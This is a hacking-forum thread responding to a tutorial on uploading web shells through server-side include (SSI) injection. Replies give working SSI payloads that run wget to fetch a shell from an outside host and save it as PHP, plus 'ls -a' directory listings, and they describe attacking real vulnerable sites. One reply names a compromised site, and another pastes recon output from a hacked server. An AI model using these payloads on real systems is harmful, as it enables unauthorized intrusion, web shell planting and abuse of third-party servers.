Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] Upload a shell via SSI injection [Noob Friendly]

Nice tut. It's a shame that there's not that much vulns overall. Although, there's POST, USER AGENT, and COOKIE parameters, I wonder if the same might apply there~
(Jun 21, 2012 10:08 AM)Team4o4 Wrote:  Could someone help me? I have the shell on my server... I do the command <!--#exec cmd="wget http://mysitehe.re/config.txt" -->

Then I check the files but it is never there... What am I doing wrong?
Do
<!--#exec cmd="wget http://mysitehe.re/config.txt -O pony.php" -->
Instead. then, go to the folder the shell got installed, under pony.php.
:3
the wget line isnt written correctly i think. and Great, Great post OP
(Jun 21, 2012 11:12 AM)๖ۣۜΗ α x O r ♥ Wrote:  On that site it isn't working.
Try site i gave in OP...
It's working partly. I ran different commands, but seems like that wget command specifically does not work.
(Jun 21, 2012 09:50 PM)Suved Wrote:  awesome tutorial.
Thanks for writing such great tutorial. 🤝

Where do I get any shell?
I want to upload somthing. XD
It says "wrong username" when I upload the shell.
Somone uploaded a UDP flood, EPIC lol
http://stockphotosamerica.com/old.index.php
really good job sir, nice explain and easy to understand for reverse shell , well done +1
i am your fan now because the way you explain is very awesome .
thanks you for the tut
Nice work, HQ, keep it up! 👍
Great guide, will be testing it out later, thanks for the share man.

-Oats 😎
Great tutorial bro'
I love it. Thanks for share
Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:
Code
[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->
It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:
Code
<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>

But sea.txt was no where to be found. Did I do anything wrong?

When I use ls -a to list all the files, I do see a lot of shells have been uploaded already. GHOST_SH3LL.php, c100.php, shellie.php, sym.php, wso.php and more.
(Jun 22, 2012 06:16 AM)๖ۣۜΗ α x O r ♥ Wrote:  Maybe wget function is disabled.
Try another site... :)

Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:
Code
Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009 x86_64
Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : [email protected]
๖ۣۜΗ α x O r ♥ > Why is impossible to see shell control panel?
white page.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Aug 8, 2021 12:47 AM 11 1,089 Aug 8, 2021 12:47 AM
Last Post: savetree
by DrCrypterOct 31, 2020 12:17 PM 0 198 Oct 31, 2020 12:17 PM
Last Post: DrCrypter
by mObiIeDec 26, 2019 08:27 AM 20 1,889 Dec 26, 2019 08:27 AM
Last Post: mineshparikh1